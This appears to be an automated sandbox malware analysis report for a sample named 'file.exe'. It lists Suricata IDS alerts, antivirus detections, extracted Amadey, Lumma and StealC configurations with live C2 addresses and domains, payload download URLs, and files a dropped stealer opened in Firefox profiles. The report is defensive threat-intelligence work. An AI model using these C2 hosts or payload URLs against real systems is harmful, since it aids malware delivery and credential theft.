2024-11-20T04:08:28.252392+0100	2028371	3	Unknown Traffic	192.168.2.4	62555	188.114.97.3	443	TCP
2024-11-20T04:08:29.747538+0100	2028371	3	Unknown Traffic	192.168.2.4	62566	188.114.97.3	443	TCP
2024-11-20T04:08:33.872116+0100	2028371	3	Unknown Traffic	192.168.2.4	62597	188.114.97.3	443	TCP
2024-11-20T04:08:34.607340+0100	2028371	3	Unknown Traffic	192.168.2.4	62605	188.114.97.3	443	TCP
2024-11-20T04:08:35.009676+0100	2028371	3	Unknown Traffic	192.168.2.4	62608	188.114.97.3	443	TCP
2024-11-20T04:08:37.497545+0100	2028371	3	Unknown Traffic	192.168.2.4	62632	188.114.97.3	443	TCP
2024-11-20T04:08:41.171074+0100	2028371	3	Unknown Traffic	192.168.2.4	62660	188.114.97.3	443	TCP
2024-11-20T04:08:43.897598+0100	2028371	3	Unknown Traffic	192.168.2.4	62676	188.114.97.3	443	TCP
2024-11-20T04:08:49.436379+0100	2028371	3	Unknown Traffic	192.168.2.4	62685	188.114.97.3	443	TCP
2024-11-20T04:08:52.700544+0100	2028371	3	Unknown Traffic	192.168.2.4	62688	188.114.97.3	443	TCP
2024-11-20T04:08:55.691646+0100	2028371	3	Unknown Traffic	192.168.2.4	62692	188.114.97.3	443	TCP
2024-11-20T04:09:08.432836+0100	2028371	3	Unknown Traffic	192.168.2.4	62705	188.114.97.3	443	TCP
2024-11-20T04:09:10.344281+0100	2028371	3	Unknown Traffic	192.168.2.4	62707	188.114.97.3	443	TCP
2024-11-20T04:09:11.329370+0100	2028371	3	Unknown Traffic	192.168.2.4	62709	188.114.97.3	443	TCP
2024-11-20T04:09:12.531974+0100	2028371	3	Unknown Traffic	192.168.2.4	62712	188.114.97.3	443	TCP
2024-11-20T04:09:14.282412+0100	2028371	3	Unknown Traffic	192.168.2.4	62716	188.114.97.3	443	TCP
2024-11-20T04:09:15.679735+0100	2028371	3	Unknown Traffic	192.168.2.4	62737	188.114.97.3	443	TCP
2024-11-20T04:09:17.451049+0100	2028371	3	Unknown Traffic	192.168.2.4	62742	188.114.97.3	443	TCP
2024-11-20T04:09:18.571953+0100	2028371	3	Unknown Traffic	192.168.2.4	62744	188.114.97.3	443	TCP
2024-11-20T04:11:51.601692+0100	2028371	3	Unknown Traffic	192.168.2.4	63616	20.189.173.2	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T04:08:21.099391+0100	2054653	1	A Network Trojan was detected	192.168.2.4	62507	188.114.97.3	443	TCP
2024-11-20T04:08:22.286956+0100	2054653	1	A Network Trojan was detected	192.168.2.4	62514	188.114.97.3	443	TCP
2024-11-20T04:08:34.377907+0100	2054653	1	A Network Trojan was detected	192.168.2.4	62597	188.114.97.3	443	TCP
2024-11-20T04:08:35.024060+0100	2054653	1	A Network Trojan was detected	192.168.2.4	62605	188.114.97.3	443	TCP
2024-11-20T04:08:35.410390+0100	2054653	1	A Network Trojan was detected	192.168.2.4	62608	188.114.97.3	443	TCP
2024-11-20T04:08:56.330550+0100	2054653	1	A Network Trojan was detected	192.168.2.4	62692	188.114.97.3	443	TCP
2024-11-20T04:09:08.946575+0100	2054653	1	A Network Trojan was detected	192.168.2.4	62705	188.114.97.3	443	TCP
2024-11-20T04:09:10.751663+0100	2054653	1	A Network Trojan was detected	192.168.2.4	62707	188.114.97.3	443	TCP
2024-11-20T04:09:19.000015+0100	2054653	1	A Network Trojan was detected	192.168.2.4	62744	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T04:08:21.099391+0100	2049836	1	A Network Trojan was detected	192.168.2.4	62507	188.114.97.3	443	TCP
2024-11-20T04:08:34.377907+0100	2049836	1	A Network Trojan was detected	192.168.2.4	62597	188.114.97.3	443	TCP
2024-11-20T04:09:08.946575+0100	2049836	1	A Network Trojan was detected	192.168.2.4	62705	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T04:08:22.286956+0100	2049812	1	A Network Trojan was detected	192.168.2.4	62514	188.114.97.3	443	TCP
2024-11-20T04:08:35.410390+0100	2049812	1	A Network Trojan was detected	192.168.2.4	62608	188.114.97.3	443	TCP
2024-11-20T04:09:10.751663+0100	2049812	1	A Network Trojan was detected	192.168.2.4	62707	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T04:08:35.789593+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	62615	185.215.113.16	80	TCP
2024-11-20T04:08:57.070067+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	62694	185.215.113.16	80	TCP
2024-11-20T04:09:19.704386+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	62745	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T04:08:21.404436+0100	2044696	1	A Network Trojan was detected	192.168.2.4	62511	185.215.113.43	80	TCP
2024-11-20T04:08:27.458354+0100	2044696	1	A Network Trojan was detected	192.168.2.4	62549	185.215.113.43	80	TCP
2024-11-20T04:08:32.058227+0100	2044696	1	A Network Trojan was detected	192.168.2.4	62579	185.215.113.43	80	TCP
2024-11-20T04:08:38.438272+0100	2044696	1	A Network Trojan was detected	192.168.2.4	62637	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T04:08:32.324064+0100	2054350	1	A Network Trojan was detected	192.168.2.4	62581	34.116.198.130	80	TCP
2024-11-20T04:08:34.696058+0100	2054350	1	A Network Trojan was detected	192.168.2.4	62609	34.116.198.130	80	TCP
2024-11-20T04:08:45.125805+0100	2054350	1	A Network Trojan was detected	192.168.2.4	62678	34.116.198.130	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T04:08:27.919926+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	62548	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T04:08:27.905380+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	62548	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T04:08:28.140506+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	62548	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T04:08:29.256398+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	62548	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T04:08:28.147565+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	62548	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T04:08:24.154553+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	62526	188.114.97.3	443	TCP
2024-11-20T04:09:13.419460+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	62712	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T04:08:27.679343+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	62548	185.215.113.206	80	TCP
2024-11-20T04:09:09.142093+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	62706	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T04:08:15.936123+0100	2856121	1	A Network Trojan was detected	192.168.2.4	62473	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T04:08:06.378168+0100	2856147	1	A Network Trojan was detected	192.168.2.4	62408	185.215.113.43	80	TCP
2024-11-20T04:13:08.449574+0100	2856147	1	A Network Trojan was detected	192.168.2.4	63662	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T04:08:15.231997+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	62422	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T04:08:09.530720+0100	2803305	3	Unknown Traffic	192.168.2.4	62430	31.41.244.11	80	TCP
2024-11-20T04:08:16.747862+0100	2803305	3	Unknown Traffic	192.168.2.4	62476	185.215.113.16	80	TCP
2024-11-20T04:08:22.573871+0100	2803305	3	Unknown Traffic	192.168.2.4	62516	185.215.113.16	80	TCP
2024-11-20T04:08:28.165469+0100	2803305	3	Unknown Traffic	192.168.2.4	62554	185.215.113.16	80	TCP
2024-11-20T04:08:32.865491+0100	2803305	3	Unknown Traffic	192.168.2.4	62582	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T04:08:29.875276+0100	2803304	3	Unknown Traffic	192.168.2.4	62548	185.215.113.206	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T04:08:29.832974+0100	2843864	1	A Network Trojan was detected	192.168.2.4	62566	188.114.97.3	443	TCP
2024-11-20T04:08:53.270383+0100	2843864	1	A Network Trojan was detected	192.168.2.4	62688	188.114.97.3	443	TCP
2024-11-20T04:09:18.100988+0100	2843864	1	A Network Trojan was detected	192.168.2.4	62742	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.16/off/def.exemk6	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phpser	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exe8	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen

Found malware configuration

Source: 00000002.00000002.1812404979.00000000003F1000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 2bfd73b1c9.exe.6472.8.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["peepburry828.sbs", "3xp3cts1aim.sbs", "processhol.sbs", "p10tgrace.sbs", "p3ar11fter.sbs"], "Build id": "LOGS11--LiveTraffic"}
Source: 0a29ef6c7c.exe.7564.10.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	ReversingLabs: Detection: 37%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 24%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 37%
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	ReversingLabs: Detection: 37%
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	ReversingLabs: Detection: 24%
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	ReversingLabs: Detection: 37%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 55%

Multi AV Scanner detection for submitted file

Source: file.exe	Virustotal: Detection: 47%			Perma Link
Source: file.exe	ReversingLabs: Detection: 55%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: e6b1d28aa7.exe, 00000007.00000003.2429914815.0000000007072000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_fd706fc7-8

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:62354 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:62365 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62507 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62514 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62526 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62537 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62543 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62555 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:62560 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62566 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62597 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62605 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62608 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62632 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:62639 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:62648 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62660 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62676 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.136:443 -> 192.168.2.4:62677 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.136:443 -> 192.168.2.4:62681 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62685 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62688 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62692 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.136:443 -> 192.168.2.4:62691 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:62725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:62735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:62736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:62744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:62803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.193.91:443 -> 192.168.2.4:62802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:62807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:62809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:63512 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:63513 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:63511 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.2:443 -> 192.168.2.4:63616 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:63630 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:63632 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:63629 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:63631 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:63775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:63776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:63774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:63773 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 2bfd73b1c9.exe, 00000008.00000003.2767138280.0000000007D70000.00000004.00001000.00020000.00000000.sdmp, 2bfd73b1c9.exe, 00000008.00000002.2885283002.0000000005E02000.00000040.00000800.00020000.00000000.sdmp, 9f58872eb6.exe, 0000001D.00000003.2650109174.0000000004650000.00000004.00001000.00020000.00000000.sdmp, 9f58872eb6.exe, 0000001D.00000002.2791304827.0000000000C92000.00000040.00000001.01000000.00000011.sdmp

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_0073DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	11_2_0073DBBE
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_007468EE FindFirstFileW,FindClose,	11_2_007468EE
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_0074698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	11_2_0074698F
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_0073D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_0073D076
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_0073D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_0073D3A9
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_00749642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_00749642
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_0074979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_0074979D
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_00749B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	11_2_00749B2B
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_00745C97 FindFirstFileW,FindNextFileW,FindClose,	11_2_00745C97

Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\doomed\	Jump to behavior

Source: chrome.exe	Memory has grown: Private usage: 22MB later: 27MB
Source: firefox.exe	Memory has grown: Private usage: 1MB later: 93MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:62408 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:62422
Source: Network traffic	Suricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.4:62473 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:62511 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:62549 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:62548 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:62548 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:62548
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:62548 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:62548
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:62548 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:62579 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:62581 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:62609 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:62637 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:62678 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:62706 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:63662 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:62526 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:62514 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:62514 -> 188.114.97.3:443
